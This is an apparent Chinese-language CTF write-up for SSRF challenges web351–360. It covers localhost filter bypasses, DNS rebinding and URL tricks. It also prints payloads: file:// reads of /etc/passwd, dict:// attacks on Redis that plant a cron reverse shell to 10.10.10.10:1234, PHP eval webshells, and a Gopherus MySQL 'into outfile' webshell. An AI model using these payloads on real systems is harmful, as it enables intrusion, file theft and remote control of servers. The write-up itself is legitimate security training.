文章目录
- web 351
- web 352
- web 353
- web 354
- web 355
- web 356
- web357
- web 358
- web 359
- web 360
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
web 351
首先看关于curl_init
的一个例子:
$ch = curl_init(); // 初始化cURL会话
// 设置cURL选项
curl_setopt($ch, CURLOPT_URL, 'https://example.com/api'); // 设置URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 将结果以字符串形式返回,而不是直接输出到屏幕
// 执行cURL请求
$response = curl_exec($ch);
// 检查是否有错误发生
if(curl_errno($ch)) {
echo 'cURL错误:' . curl_error($ch);
}
// 关闭cURL会话
curl_close($ch);
其实就是网络请求的一段代码。flag.php不允许远程访问,只能用SSRF发起本地请求获取flag。
web 352
首先,先查一下parse_url
的用法,主要是将一个URL拆分为协议、主机、路径、查询字符串等部分。
然后源码中想用preg_match
过滤了127.0.0.1
和localhost
关键字,但是没有指定对哪个变量过滤,所以条件恒为真。
web 353
这一关就对localhost、127.0.
进行了过滤。
绕过方法:
进制绕过 url=http://0x7F000001/flag.php # 127.0.0.1的十六进制表示
0.0.0.0绕过 url=http://0.0.0.0/flag.php # 0.0.0.0表示本机中所有的IPV4地址
特殊的地址0, url=http://0/flag.php # 0在linux系统下被解析为127.0.0.1,在windows下解析为0.0.0.0
还有 url=http://127.1/flag.php #127.0.0.1的缩写形式
还有 url=http://127.0000000000000.001/flag.php
还有 url=http://0177.0.0.1/flag.php #0177是127的八进制表示
web 354
这一关把localhost、0、1
都过滤了,有一些公共HTTPS域名,但是可以解析到127.0.0.1。如:
http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/
web 355
这一关是域名长度小于5,可以用url=http://127.1/flag.php
。
web 356
域名长度小于3的话,用url=http://0/flag.php
。
web357
filter_var
函数来验证IP地址的有效性,并且排除了私有IP范围(0.0.0.0/8、172.16.0.0/12和192.168.0.0/16
)和保留IP范围(0.0.0.0/8和169.254.0.0/16。
)。
用DNS rebind进行DNS重绑定攻击,思路:第一次访问,域名第一次解析是127.0.0.1,第二次解析是104.56.61.24。第二次访问的时候,域名第一次解析是104.56.61.24,第二次解析是127.0.0.1。
web 358
就是说必须以http://ctf.
开头,show
结尾。http://ctf.@127.0.0.1/flag.php?show
的意思是用ctf.
用户登录到127.0.0.1
,并且向flag.php
传递参数show
。
web 359
抓包,改reurl
参数,发现它会跳转到百度页面,说明此处存在SSRF漏洞。
一般可以使用file
协议读取文件,dict
协议探测端口,gopher
一般用来攻击redis,mysql,fastcgi,smtp等服务。
// file协议
file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml
//dict协议
一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info
二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似
这里用Gopherus去生成webshell,其实本质还是使用gopher
协议。注意:Gopherus使用python2。
# python2安装pip
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
# 安装Gopherus
./install.sh
# 使用Gopherus
python2 gopherus.py --exploit mysql
root
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';
curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode。这里需要对_
后面的数据进行二次URL编码。
web 360
跟359差不多,只是将mysql变为了redis。